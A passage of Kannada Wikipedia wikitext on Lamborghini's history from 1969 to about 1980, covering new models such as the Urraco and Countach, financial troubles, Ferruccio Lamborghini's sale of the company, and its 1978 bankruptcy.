ಕಾರುಗಳೊಂದಿಗೆ ಪೈರೈಸಲ್ಪಟ್ಟಿತ್ತು. ಪೌಲೋ ಸ್ಟಾಂಝಾನಿ ಎಂಬ ಡಲ್ಲಾರಾನ ಸಹಾಯಕನು ತನ್ನ ಹಳೆಯ ಯಜಮಾನನ ಪಾತ್ರವಾದ ತಾಂತ್ರಿಕ ನಿರ್ದೇಶಕನ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ವಹಿಸಿಕೊಂಡ. ಡಲ್ಲಾರಾನಿಗೆ ದುರದೃಷ್ಟಕರವಾಗಿ ಪರಿಣಮಿಸುವಂತೆ, ಡಿ ಟಮಾಸೊ F1 ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ಸಾಕಷ್ಟು ಧನಸಹಾಯ ಸಿಗಲಿಲ್ಲ, ಮತ್ತು ಮೋಟಾರು ಕಾರು ತಯಾರಕನು ಈ ಅನುಭವವನ್ನು ತಡೆದುಕೊಳ್ಳುವ ಸ್ಥಿತಿಯಲ್ಲಿರಲಿಲ್ಲ; ಹೀಗಾಗಿ ಈ ಘಟನೆಯ ನಂತರ ಆ ಎಂಜಿನಿಯರ್‌ ಕಂಪನಿಯನ್ನು ಬಿಟ್ಟ.<ref name="Jolliffe42" /> 1969ರಲ್ಲಿ, ವೃತ್ತಿಸಂಘಕ್ಕೆ ಸೇರಿದ ತನ್ನ ಸಂಪೂರ್ಣ ಕಾರ್ಯಪಡೆಯೊಂದಿಗೆ ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿಯು ಸಮಸ್ಯೆಗಳನ್ನು ಎದುರಿಸಬೇಕಾಗಿ ಬಂತು. ಈ ಪೈಕಿ ಯಂತ್ರಶಿಲ್ಪಿಗಳು ಹಾಗೂ ಕಟ್ಟುವವರು ರಾಷ್ಟ್ರೀಯ ಆಂದೋಲನವೊಂದರ ಭಾಗವಾಗಿ ಸಾಂಕೇತಿಕವಾಗಿ ಒಂದು-ಗಂಟೆಯ ಕೆಲಸ ನಿಲ್ಲಿಸುವಿಕೆಗೆ ಶುರುಮಾಡಿದ್ದರು. ಲೋಹಕೆಲಸಗಾರರ ವೃತ್ತಿಸಂಘ ಮತ್ತು ಇಟಲಿಯ ಕೈಗಾರಿಕೆಯ ನಡುವಿನ ಪರಸ್ಪರ-ವಿಶ್ವಾಸವಿಲ್ಲದ ಸಂಬಂಧಗಳ ಕಾರಣದಿಂದಾಗಿ ಈ ಆಂದೋಲನವು ಹುಟ್ಟಿಕೊಂಡಿತ್ತು.<ref name="Jolliffe42">ಜೊಲಿಫೆ, 42.</ref> ಅನೇಕವೇಳೆ ತನ್ನ ತೋಳುಗಳನ್ನು ಮಡಚಿ, ಕಾರ್ಖಾನೆಯ ಒಳಾವರಣದಲ್ಲಿ ಕೆಲಸಕ್ಕೆ ತೊಡಗಿಕೊಳ್ಳುತ್ತಿದ್ದ ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿ, ಎಲ್ಲ ಅಡ್ಡಿಗಳ ಹೊರತಾಗಿಯೂ ತಮ್ಮ ಸಾಮಾನ್ಯ ಗುರಿಯೆಡೆಗೆ ಕೆಲಸ ಮಾಡುವುದನ್ನು ಮುಂದುವರಿಸುವಂತೆ ತನ್ನ ಸಿಬ್ಬಂದಿಯನ್ನು ಪ್ರೇರೇಪಿಸುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದ. [[File:Wikilamjar01.jpg|thumb|right|ಜರಮಾ ಮಾದರಿಯು ಎಸ್ಪಡಾ ಮಾದರಿಯ ಒಂದು ಸಂಕ್ಷಿಪ್ತಗೊಳಿಸಲಾದ, ಕ್ರೀಡಾ ಬಳಕೆಯ ಆವೃತ್ತಿಯಾಗಿತ್ತು]] ಆ ವರ್ಷದಾದ್ಯಂತ, ಇಸ್ಲೆರೊ, ಎಸ್ಪಡಾ, ಮತ್ತು ಮಿಯುರಾ S ಇವೇ ಮೊದಲಾದ ಲಂಬೋರ್ಘಿನಿಯ ಉತ್ಪನ್ನ ಶ್ರೇಣಿಯು ಎಲ್ಲವಕ್ಕೂ ಅನ್ವಯವಾಗುವಂತೆ ಸುಧಾರಣೆಗೆ ಒಳಗಾಯಿತು. ಮಿಯುರಾ ಕಾರು ಒಂದು ಸಾಮರ್ಥ್ಯದ ವರ್ಧನೆಯನ್ನು ಸ್ವೀಕರಿಸಿದರೆ, ಇಸ್ಲೆರೊ ಕಾರನ್ನು "S" ಟ್ರಿಮ್‌ ಶೈಲಿಗೆ ಉನ್ನತೀಕರಿಸಲಾಯಿತು, ಮತ್ತು ಎಸ್ಪಡಾ ಮಾದರಿಯು ಆರಾಮದಾಯಕತೆ ಮತ್ತು ನಿರ್ವಹಣಾ ಉನ್ನತೀಕರಣಗಳನ್ನು ಪಡೆಯುವ ಮೂಲಕ .....{{convert|100|mph|km/h|abbr=on}}ವರೆಗಿನ ವೇಗಗಳಿಗೆ ತಲುಪುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಪಡೆಯಿತು. ಎಸ್ಪಡಾ ಮಾದರಿಯ ಇನ್ನೂ ಚಿಕ್ಕದಾಗಿಸಿದ ಆದರೂ ಉನ್ನತ-ಕಾರ್ಯಕ್ಷಮತೆಯ ಒಂದು ಆವೃತ್ತಿಯಾದ [[ಜರಮಾ 400GT]] ಮಾದರಿಯಿಂದ ಇಸ್ಲೆರೊ ಮಾದರಿಯನ್ನು ಬದಲಾಯಿಸಬೇಕು ಎಂದು ಸಿದ್ಧತೆಯನ್ನು ನಡೆಸಲಾಗಿತ್ತು. 3.9-ಲೀಟರಿನ V12 ಮಾದರಿಯನ್ನು ಉಳಿಸಿಕೊಂಡು ಅದರ [[ಸಂಪೀಡನ ಅನುಪಾತ]]ವನ್ನು 10.5:1ಕ್ಕೆ ಏರಿಸಲಾಯಿತು.<ref name="Jolliffe43">ಜೊಲಿಫೆ, 43.</ref> [[File:Lambo Uracco UK.JPG|thumb|left|ಉರಾಕೊ ಮಾದರಿಯು 350GTVಯು ಬಂದಾಗಿನಿಂದ ಇದ್ದ ಮೊಟ್ಟಮೊದಲ ಶುದ್ಧಸ್ಥಿತಿಯ ಲಂಬೋರ್ಘಿನಿ ವಿನ್ಯಾಸವಾಗಿತ್ತು]] 1970ರ ಜಿನಿವಾ ಪ್ರದರ್ಶನದಲ್ಲಿ ಜರಮಾ ಮಾದರಿಯು ಅನಾವರಣಗೊಳ್ಳುವ ಹೊತ್ತಿಗೆ, ಹೊಸತೊಂದು ಶುದ್ಧಸ್ಥಿತಿಯ ವಿನ್ಯಾಸದ ಕುರಿತು ಪೌಲೊ ಸ್ಟಾಂಝಾನಿ ಕೆಲಸದಲ್ಲಿ ತೊಡಗಿಸಿಕೊಂಡಿದ್ದ. ಹಿಂದಿನ ಲಂಬೋರ್ಘಿನಿ ಕಾರುಗಳಿಂದ ಯಾವುದೇ ಪಡೆದ ಭಾಗಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳದಿರುವುದು ಇದರ ವೈಶಿಷ್ಟ್ಯವಾಗಿತ್ತು. ತೆರಿಗೆ ಕಾನೂನುಗಳಲ್ಲಿನ ಬದಲಾವಣೆಗಳು ಹಾಗೂ ಕಾರ್ಖಾನೆಯ ತಯಾರಿಕಾ ಸಾಮರ್ಥ್ಯವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಬಳಸಿಕೊಳ್ಳುವ ಒಂದು ಆಶಯದಿಂದಾಗಿ, ಇಟಲಿಯ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು ಫೆರಾರಿಯು ಆಯ್ದುಕೊಂಡ ದಿಕ್ಕನ್ನೇ ಅನುಸರಿಸಲಿದೆ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡಿತು. ತನ್ನ [[ಡಿನೋ 246]] ಮತ್ತು ಪೋರ್ಷ್‌, [[911]] ಮಾದರಿಗಳೊಂದಿಗೆ, ಮತ್ತು ಒಂದು ಚಿಕ್ಕದಾದ V8-ಶಕ್ತಿಯನ್ನು ಹೊಂದಿದ [[2+2]] ಕಾರಾಗಿರುವ [[ಉರಾಕೊ]]ವನ್ನು ತಯಾರಿಸುವುದು ಅದರ ಉದ್ದೇಶವಾಗಿತ್ತು. ಉರಾಕೊ ಕಾರಿನ ಮಾಲೀಕರು ಮಕ್ಕಳನ್ನು ಹೊಂದಿರಬಹುದೆಂದು ಫೆರುಸ್ಸಿಯೋ ಅಂಗೀಕರಿಸುವುದರೊಂದಿಗೆ, 2+2 ಮಾದರಿಯ ಹೊರಕಾಯದ ಶೈಲಿಯನ್ನು ಕಾರ್ಯಸಾಧ್ಯತೆಗೆ ಒಂದು ವಿನಾಯಿತಿಯಾಗಿ ಆಯ್ಕೆಮಾಡಿಕೊಳ್ಳಲಾಯಿತು.<ref name="Jolliffe43" /> ಸ್ಟಾಂಝಾನಿಯಿಂದ ವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟ ಏಕ ಮೇಲ್ಛಾವಣಿಯ ಕ್ಯಾಮ್‌ [[V8]] ಮಾದರಿಯು 5000 rpm ಮಟ್ಟದಲ್ಲಿ 220 bhpಯಷ್ಟು ಶಕ್ತಿಯನ್ನು ಉತ್ಪಾದಿಸುತ್ತಿತ್ತು. ವಾಹನದ ರಸ್ತೆಯ ಮೇಲಿನ ಪರೀಕ್ಷೆ ಹಾಗೂ ಅಭಿವೃದ್ಧಿಯನ್ನು ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ ತಕ್ಷಣವೇ ಆರಂಭಿಸಿದ; 1970ರ ಟ್ಯೂರಿನ್‌ ವಾಹನ ಪ್ರದರ್ಶನದಲ್ಲಿ ಈ ಕಾರನ್ನು ಸಾದರಪಡಿಸಬೇಕಾಗಿತ್ತು.<ref name="Jolliffe43" /> 1970ರಲ್ಲಿ, ಒಂದು ಪಥನಿರ್ಮಾಪಕ ಮಾದರಿಯಾಗಿದ್ದ ಮಿಯುರಾಗೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಬದಲಿ ಕಾರಿನ ಅಭಿವೃದ್ಧಿಯನ್ನು ಲಂಬೋರ್ಘಿನಿ ಶುರುಮಾಡಿತು. ಆದರೆ ಅವುಗಳ ಆಂತರಿಕ ಶಬ್ದದ ಮಟ್ಟಗಳು ತನ್ನ ಬ್ರಾಂಡ್‌ ತತ್ತ್ವಕ್ಕೆ ಸ್ವೀಕಾರಾರ್ಹವಾಗಿಲ್ಲ ಮತ್ತು ಅನುಗುಣವಾಗಿಲ್ಲ ಎಂದು ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಗೆ ಕಂಡುಕೊಂಡ.<ref name="Jolliffe44">ಜೊಲಿಫೆ, 44.</ref> ಒಂದು ಹೊಸದಾದ, ಉದ್ದವಾದ ವಾಹನದ ಅಡಿಗಟ್ಟನ್ನು ಎಂಜಿನಿಯರುಗಳು ವಿನ್ಯಾಸಗೊಳಿಸಿದರು. ಅದು ಎಂಜಿನನ್ನು ಉದ್ದುದ್ದವಾಗಿ, ಚಾಲಕನ ಆಸನದಿಂದ ಮತ್ತಷ್ಟು ಆಚೆಗೆ ನೆಲೆಗಾಣಿಸಿತು. [[LP500]] ಮಾದರಿಯನ್ನು ಕಂಪನಿಯ V12ರ ತನ್ನ 4.97-ಲೀಟರ್‌ ಆವೃತ್ತಿಗಾಗಿ ನಿಯೋಜಿಸಿ, ಮೂಲಮಾದರಿಯನ್ನು ಬೆರ್ಟೋನ್‌ನಲ್ಲಿನ [[ಮಾರ್ಸೆಲೊ ಗ್ಯಾಂಡಿನಿ]] ವಿನ್ಯಾಸಗೊಳಿಸಿದ‌. ಹೀಗೆ ಸಾದರಪಡಿಸಲಾದ ಕಾರು 1971ರ [[ಜಿನಿವಾ ಮೋಟಾರು ಪ್ರದರ್ಶನ]]ದಲ್ಲಿ ಪಾದಾರ್ಪಣೆ ಮಾಡಿತು. ಇದರ ಜೊತೆಗೆ ಮಿಯುರಾದ ಅಂತಿಮ ಆವೃತ್ತಿಯಾದ P400 ''ಸೂಪರ್‌ ವೆಲೋಸ್‌'' ಕೂಡಾ ಕಾಣಿಸಿಕೊಂಡಿತು. ಈ ಮೂಲಕ ಲಂಬೋರ್ಘಿನಿಯ ಶ್ರೇಣಿಯನ್ನು ಎಸ್ಪಡಾ 2, ಉರಾಕೊ P250, ಮತ್ತು ಜರಮಾ GT ಮಾದರಿಗಳು ಸಂಪೂರ್ಣಗೊಳಿಸಿದವು.<ref name="Jolliffe45">ಜೊಲಿಫೆ, 45.</ref> ===1971-1972: ಹಣಕಾಸಿನ ಒತ್ತಡಗಳು=== ವಿಶ್ವದ ಹಣಕಾಸಿನ ಬಿಕ್ಕಟ್ಟೊಂದು ನಿಯಂತ್ರಣವನ್ನು ತನ್ನ ಹಿಡಿತಕ್ಕೆ ತೆಗೆದುಕೊಳ್ಳಲು ಶುರುಮಾಡಿದಾಗ, ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯ ಕಂಪನಿಗಳು ಹಣಕಾಸಿನ ತೊಂದರೆಗಳಿಗೆ ಸಿಲುಕಿಕೊಂಡವು. ತನ್ನ ಉತ್ಪಾದನೆಯ ಪೈಕಿ ಸುಮಾರು ಅರ್ಧದಷ್ಟು ಭಾಗವನ್ನು ರಫ್ತುಮಾಡುತ್ತಿದ್ದ ಲಂಬೋರ್ಘಿನಿಯ ಟ್ರಾಕ್ಟರ್‌ ಕಂಪನಿಯು 1971ರಲ್ಲಿ ತೊಂದರೆಗಳಿಗೆ ಈಡಾಯಿತು. ಟ್ರಾಟ್ಟೊರಿಯ [[ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ]]ದ ಆಮದುದಾರನಾಗಿದ್ದ ಸೆಂಟೊ ತನ್ನೆಲ್ಲಾ ಬೇಡಿಕೆಗಳನ್ನೂ ರದ್ದುಮಾಡಿತು. ಒಂದು ಯಶಸ್ವೀ [[ಕ್ಷಿಪ್ರಕ್ರಾಂತಿ]]ಯನ್ನು ನಡೆಸಿದ ನಂತರ, [[ಬೊಲಿವಿಯಾ]]ದ ಹೊಸ ಸೇನಾ ಸರ್ಕಾರವು, [[ಗೆನೊವಾ]]ದಿಂದ ಸಾಗಣೆಯಾಗಲು ಭಾಗಶಃ ಸಿದ್ಧವಾಗಿದ್ದ ಟ್ರಾಕ್ಟರುಗಳ ಒಂದು ಬೃಹತ್ ಬೇಡಿಕೆಯನ್ನು ರದ್ದುಗೊಳಿಸಿತು. ಆಟೋಮೊಬಿಲಿಯ ನೌಕರರಂತೆಯೇ ಟ್ರಾಟ್ಟೊರಿಯ ನೌಕರರು ವೃತ್ತಿ ಸಂಘಕ್ಕೆ ಸೇರ್ಪಡೆಗೊಂಡಿದ್ದರು. ಹೀಗಾಗಿ ಅವರನ್ನು ಕೆಲಸದಿಂದ ತೆಗೆದುಹಾಕುವುದು ಸಾಧ್ಯವಿರಲಿಲ್ಲ. 1972ರಲ್ಲಿ, ಟ್ರಾಟ್ಟೊರಿಯಲ್ಲಿನ ತನ್ನೆಲ್ಲಾ ಹಿಡುವಳಿಯನ್ನು [[SAME]] ಎಂಬ ಟ್ರಾಕ್ಟರ್‌ ನಿರ್ಮಿಸುವ ಮತ್ತೊಂದು ಕಂಪನಿಗೆ ಲಂಬೋರ್ಘಿನಿಯು ಮಾರಿದ.<ref name="museostorico" /><ref name="Jolliffe48">ಜೊಲಿಫೆ, 48.</ref> ಸಮಗ್ರ ಲಂಬೋರ್ಘಿನಿ ಸಮೂಹವು ಈಗ ಹಣಕಾಸಿನ ತೊಂದರೆಗಳಲ್ಲಿ ಸಿಕ್ಕಿಕೊಂಡಿತ್ತು. ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯಲ್ಲಿನ ಅಭಿವೃದ್ಧಿ ಕಾರ್ಯವು ತಗ್ಗಿತು; LP500ನ ನಿರ್ಮಾಣ ಆವೃತ್ತಿಯು 1972ರ ಜಿನಿವಾ ಪ್ರದರ್ಶನವನ್ನು ತಪ್ಪಿಸಿಕೊಂಡಿತು, ಮತ್ತು ಕೇವಲ ಜರಮಾದ P400 GTS ಆವೃತ್ತಿಯು ಪ್ರದರ್ಶನದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿತು. ವೆಚ್ಚಗಳನ್ನು ಕಡಿತಗೊಳಿಸಬೇಕಾದ ಅಗತ್ಯತೆಯನ್ನು ಎದುರಿಸಿದ ಪೌಲೊ ಸ್ಟಾಂಝಾನಿಯು, ಒಂದು ಸಣ್ಣದಾದ, 4-ಲೀಟರ್‌ ಎಂಜಿನ್‌ ತಯಾರಿಕೆಗಾಗಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿದ್ದ LP500ರ ಶಕ್ತಿಕೇಂದ್ರವನ್ನು ರದ್ದುಮಾಡಿದ.<ref name="Jolliffe46">ಜೊಲಿಫೆ, 46.</ref> ಆಟೋಮೊಬಿಲಿ ಮತ್ತು ಟ್ರಾಟ್ಟೊರಿಗಾಗಿರುವ ಖರೀದಿದಾರರನ್ನು ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯು ಓಲೈಸಲು ಶುರುಮಾಡಿದ; ಓರ್ವ ಶ್ರೀಮಂತ ಸ್ವಿಸ್‌ ವ್ಯವಸಹಾರಸ್ಥ ಹಾಗೂ ಫೆರುಸ್ಸಿಯೋನ ಸ್ನೇಹಿತನಷ್ಟೇ ಅಲ್ಲದೇ, ಒಂದು ಇಸ್ಲೆರೊ ಮತ್ತು ಒಂದು ಎಸ್ಪಡಾದ ಮಾಲೀಕನಾಗಿದ್ದ ಜಾರ್ಜಸ್‌-ಹೆನ್ರಿ ರೊಸೆಟ್ಟಿಯೊಂದಿಗಿನ ಸಂಧಾನ ಮಾತುಕತೆಗಳಿಗೆ ಆತ ಮುಂದಾದ.<ref name="Jolliffe46" /> 600,000 [[US$]] ಮೊತ್ತಕ್ಕೆ ಕಂಪನಿಯ 51%ನಷ್ಟು ಭಾಗವನ್ನು ರೊಸೆಟ್ಟಿಗೆ ಫೆರುಸ್ಸಿಯೋ ಮಾರಿದ. ಹೀಗಾಗಿ ತಾನು ಸಂಸ್ಥಾಪಿಸಿದ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯ ಮೇಲಿನ ನಿಯಂತ್ರಣವನ್ನು ಅವನು ಬಿಟ್ಟುಕೊಡಬೇಕಾಯಿತು. ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ಕಾರ್ಖಾನೆಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುವುದನ್ನು ಅವನು ಮುಂದುವರೆಸಿದ; ಆಟೋಮೊಬಿಲಿಯ ವ್ಯವಹಾರಗಳಲ್ಲಿ ತುಂಬಾ ಅಪರೂಪಕ್ಕೆ ರೊಸೆಟ್ಟಿಯು ತನ್ನನ್ನು ತೊಡಗಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದ.<ref name="Jolliffe48" /> ===1973-1974: ವಂದಿಸಿ ನಿರ್ಗಮಿಸಿದ ಫೆರುಸ್ಸಿಯೋ=== [[1973ರ ತೈಲ ಬಿಕ್ಕಟ್ಟು]] ವಿಶ್ವಾದ್ಯಂತದ ತಯಾರಕರ ಉನ್ನತ ನಿರ್ವಹಣೆಯ ಕಾರುಗಳ ಮಾರಾಟಗಳನ್ನು ಕಾಡಿಸಿತು; ಹೆಚ್ಚುತ್ತಲೇ ಹೋದ ತೈಲದ ಬೆಲೆಯಿಂದಾಗಿ ಸರಕಾರಗಳು ಹೊಸ [[ಇಂಧನ ಮಿತವ್ಯಯ]]ದ ಕಾನೂನುಗಳನ್ನು ಆದೇಶಿಸಬೇಕಾಗಿ ಬಂತು, ಮತ್ತು ಸಾಗಣೆಯ ಉದ್ದೇಶಕ್ಕಾಗಿ ಗ್ರಾಹಕರು ಚಿಕ್ಕದಾದ, ಹೆಚ್ಚು ಕಾರ್ಯಸಾಧ್ಯವಾದ ಮಾದರಿಗಳನ್ನು ಹುಡುಕುವಂಥ ಪರಿಸ್ಥಿತಿ ನಿರ್ಮಾಣವಾಯಿತು. ಇಂಧನ ಕಾರ್ಯಕಾರಿತ್ವಕ್ಕಾಗಿರುವ ಕಡಿಮೆ ಪರಿಗಣನೆಯೊಂದಿಗಿನ ಹೆಚ್ಚು-ಶಕ್ತಿಯ ಎಂಜಿನುಗಳಿಂದ ಮುಂದೂಡಲ್ಪಡುವ ಲಂಬೋರ್ಘಿನಿಯ ವಿಲಕ್ಷಣವಾದ ಕ್ರೀಡಾಕಾರುಗಳ ಮಾರಾಟಗಳು (V12 ಎಂಜಿನ್‌ನ 5.2-ಲೀಟರ್‌ ವಿಕಸನವೊಂದರಿಂದ ಶಕ್ತಿಗಳಿಸುವ 1986ರ ಕೌಂಟಾಕ್ ಮಾದರಿಯು‌, ....{{convert|6|mpgus|L/100 km mpgimp|abbr=on}} ನಗರ ಮತ್ತು ....{{convert|10|mpgus|L/100 km mpgimp|abbr=on}} ಹೆದ್ದಾರಿಯ [[ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳ ಪರಿಸರೀಯ ರಕ್ಷಣಾ ಸಂಸ್ಥೆ]]ಯ ಶ್ರೇಯಾಂಕವೊಂದನ್ನು ಹೊಂದಿತ್ತು)<ref>{{cite web |url=http://www.fueleconomy.gov/FEG/bymake/Lamborghini1986.shtml |title=Gas Mileage of 1986 Vehicles by Lamborghini |publisher=Fueleconomy.gov |date= |accessdate=2009-08-17}}</ref> ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ಕುಸಿತವನ್ನು ಕಾಣಬೇಕಾಯಿತು. 1974ರಲ್ಲಿ, ಕಂಪನಿಯಲ್ಲಿ ಉಳಿದಿದ್ದ ತನ್ನ 49%ನಷ್ಟು ಪಾಲನ್ನು ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯು ಜಾರ್ಜಸ್‌-ಹೆನ್ರಿ ರೊಸೆಟ್ಟಿಯ ಓರ್ವ ಸ್ನೇಹಿತನಾದ ರಿನೀ ಲೀಮರ್ ಎಂಬಾತನಿಗೆ ಮಾರಿದ.<ref name="fundinguniverse" /> ತನ್ನ ಹೆಸರನ್ನು ಹೊಂದಿದ್ದ ಕಾರುಗಳೊಂದಿಗಿನ ಎಲ್ಲಾ ಸಂಬಂಧಗಳನ್ನೂ ತೊರೆದುಕೊಂಡ ನಂತರ ಆತ ಒಂದು [[ತೋಟ]]ಕ್ಕೆ ತೆರಳಿ ವಿರಮಿಸಿದ. [[ಕ್ಯಾಸ್ಟಿಗ್ಲಿಯೋನ್‌ ಡೆಲ್‌ ಲ್ಯಾಗೊ]] ಎಂಬ ಪಟ್ಟಣದಲ್ಲಿನ ಪ್ಯಾನಿಕರೋಲಾದ ''[[ಫ್ರೇಝಿಯೋನ್‌]]'' ನಲ್ಲಿರುವ [[ಟ್ರಾಸಿಮೆನೊ ಸರೋವರ]] ದಡದಲ್ಲಿ ಈ ತೋಟವಿತ್ತು. ಕ್ಯಾಸ್ಟಿಗ್ಲಿಯೋನ್‌ ಡೆಲ್‌ ಲ್ಯಾಗೊ ಪಟ್ಟಣವು ಇಟಲಿಯ ಕೇಂದ್ರಭಾಗದ [[ಅಂಬ್ರಿಯಾ]] ವಲಯದಲ್ಲಿನ [[ಪೆರುಗಿಯಾ]] ಪ್ರಾಂತ್ಯದಲ್ಲಿದ್ದು, ಅಲ್ಲಿನ ಈ ತೋಟದಲ್ಲಿ ಆತ ತನ್ನ ಕೊನೆಯ ದಿನಗಳವರೆಗೂ ನೆಲೆಸಿದ್ದ.<ref name="obituary" /> [[File:Lamborghini Countach LP500S.jpg|thumb|left|ಇತಿಹಾಸದಲ್ಲಿ ಅಂದಿನ ಅತ್ಯಂತ ಜನಪ್ರಿಯ ಹಾಗೂ ಯಶಸ್ವೀ ಲಂಬೋರ್ಘಿನಿಯಾಗಿದ್ದ ಕೌಂಟಾಕ್‌ ಮಾದರಿಯ ಉತ್ಪಾದನೆಯು 1974ರಿಂದ 1988ರವರೆಗೆ ನಡೆಯಿತು]] ===1974-1977: ರೊಸೆಟ್ಟಿ-ಲೀಮರ್‌ ಯುಗ=== 1974ರಲ್ಲಿ, [[ಕೌಂಟಾಕ್‌]] ಮಾದರಿಯಾಗಿ LP500 ಅಂತಿಮವಾಗಿ ತಯಾರಿಕೆಗೆ ಪ್ರವೇಶಿಸಿತು. ಒಂದು ಪುಟ್ಟದಾದ, 4.0-ಲೀಟರ್‌ V12ನಿಂದ ಇದಕ್ಕೆ ಶಕ್ತಿ ಒದಗುತ್ತಿತ್ತು. ಮೊದಲ ಉತ್ಪಾದನಾ ಮಾದರಿಯನ್ನು 1974ರಲ್ಲಿ ವಿತರಿಸಲಾಯಿತು. 1976ರಲ್ಲಿ, ಉರಾಕೊ P300 ಮಾದರಿಯನ್ನು [[ಸಿಲೂಯೆಟ್‌]] ಮಾದರಿಯಾಗಿ ಪರಿಷ್ಕರಿಸಲಾಯಿತು. ಇದು ಒಂದು [[ಟಾರ್ಗಾ]] ಮೇಲ್ಛಾವಣಿ ಹಾಗೂ ಒಂದು 3-ಲೀಟರ್‌ V8ನ್ನು ಹೊಂದಿತ್ತು. ಕಳಪೆ ಮಟ್ಟದಲ್ಲಿದ್ದ ಇದರ ನಿರ್ಮಾಣ, ವಿಶ್ವಾಸಾರ್ಹತೆ, ಮತ್ತು ದಕ್ಷತಾಶಾಸ್ತ್ರಗಳೆಲ್ಲವೂ ಅದರ ವಿರುದ್ಧವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದವು. ಅಷ್ಟೇ ಅಲ್ಲ, "[[ಅನಧಿಕೃತ ಮಾರುಕಟ್ಟೆ]]"ಯ ಮೂಲಕ ಮಾತ್ರವೇ ಇದನ್ನು U.S.ನೊಳಗೆ ಆಮದು ಮಾಡಿಕೊಳ್ಳಲು ಸಾಧ್ಯ ಎಂಬ ವಾಸ್ತವಾಂಶವೂ ಸಹ ಈ ಪರಿಸ್ಥಿತಿಗೆ ತನ್ನದೇ ಆದ ಕೊಡುಗೆಯನ್ನು ನೀಡಿತು. ಕೇವಲ 54 ಕಾರುಗಳು ತಯಾರಾದವು.<ref name="LawrenceSilhouette">ಲಾರೆನ್ಸ್‌, "ಸಿಲೂಯೆಟ್".</ref> 1982ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ LP500 ಆವೃತ್ತಿಯು ಬರುವರೆಗೂ, ಅಮೆರಿಕಾದ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ತಾನು ನೇರವಾಗಿ ಭಾಗಿಯಾಗದಿರುವ ಕಾರಣದಿಂದಾಗಿ ಕೌಂಟಾಕ್‌ ಮಾದರಿಯು ಕೂಡಾ ಅಡಚಣೆಗೀಡಾಯಿತು. ===1978-1987: ದಿವಾಳಿತನ ಮತ್ತು ಮಿಮ್ರಾನ್‌=== ವರ್ಷಗಳು ಉರುಳುತ್ತಿದ್ದಂತೆ, ಲಂಬೋರ್ಘಿನಿಯ ಪರಿಸ್ಥಿತಿಯು ಇನ್ನೂ ಸಂಕಟಕಾರಕವಾಯಿತು; 1978ರಲ್ಲಿ ಕಂಪನಿಯು [[ದಿವಾಳಿತನ]]ವನ್ನು ಪ್ರವೇಶಿಸಿತು, ಮತ್ತು ಇಟಲಿಯ ನ್ಯಾಯಾಲಯಗಳು ಕಂಪನಿಯನ್ನು ತಮ್ಮ ನಿಯಂತ್ರಣಕ್ಕೆ ತೆಗೆದುಕೊಂಡವು. ಕಂಪನಿಯ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ನಡೆಸಲು ನ್ಯಾಯಾಲಯಗಳು ಮೊದಲು ಡಾ. ಅಲೆಸಾಂಡ್ರೊ ಆರ್ಟೆಸಸ್‌ ಎಂಬಾತನನ್ನು ನೇಮಿಸಿದವು. ಆದರೆ ಒಂದು ವರ್ಷದ ನಂತರ, ರೇಮಾಂಡ್‌ ನೊಯ್ಮಾ ಮತ್ತು ಲಂಬೋರ್ಘಿನಿಯ ಜರ್ಮನ್‌ ಆಮದುದಾರನಾಗಿದ್ದ [[ಹಬರ್ಟ್‌ ಹಾನೆ]] ಎಂಬಿಬ್ಬರನ್ನು ಕಂಪನಿಯ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳನ್ನು ನೋಡಿಕೊಳ್ಳಲು ನೇಮಿಸಲಾಯಿತು.<ref>[http://www.ferraris-online.com/pages/article.php?reqart=SCM_200906_SS ದಿ ಲ್ಯಾಂಬೊ ಡೀಲರ್‌, ದಿ $12m ಸ್ವಿಂಡಲ್‌, ದಿ ಸ್ಲಾಮರ].</ref> 1980ರಲ್ಲಿ, ಪ್ರಸಿದ್ಧ ಆಹಾರೋದ್ಯಮಿಗಳಾದ<ref>[http://money.cnn.com/magazines/fortune/fortune_archive/1992/09/07/76826/index.htm THE BILLIONAIRES - ಸೆಪ್ಟೆಂಬರ್‌ 7, 1992].</ref> [[ಸ್ವಿಸ್‌]]ನ ಮಿಮ್ರಾನ್‌ ಸೋದರರು (ಜೀನ್‌-ಕ್ಲಾಡ್‌ ಮತ್ತು [[ಪ್ಯಾಟ್ರಿಕ್‌]]),<ref>[http://www.evo.co.uk/features/features/239554/birth_of_an_icon_1986_lamborghini_lm002.html ಲಂಬೋರ್ಘಿನಿ LM002 | ಬರ್ತ್‌ ಆಫ್ ಆನ್‌ ಐಕಾನ್‌ | ಇವೊ].</ref> ಕ್ರೀಡಾಕಾರುಗಳೆಡೆಗೆ ತಾವು 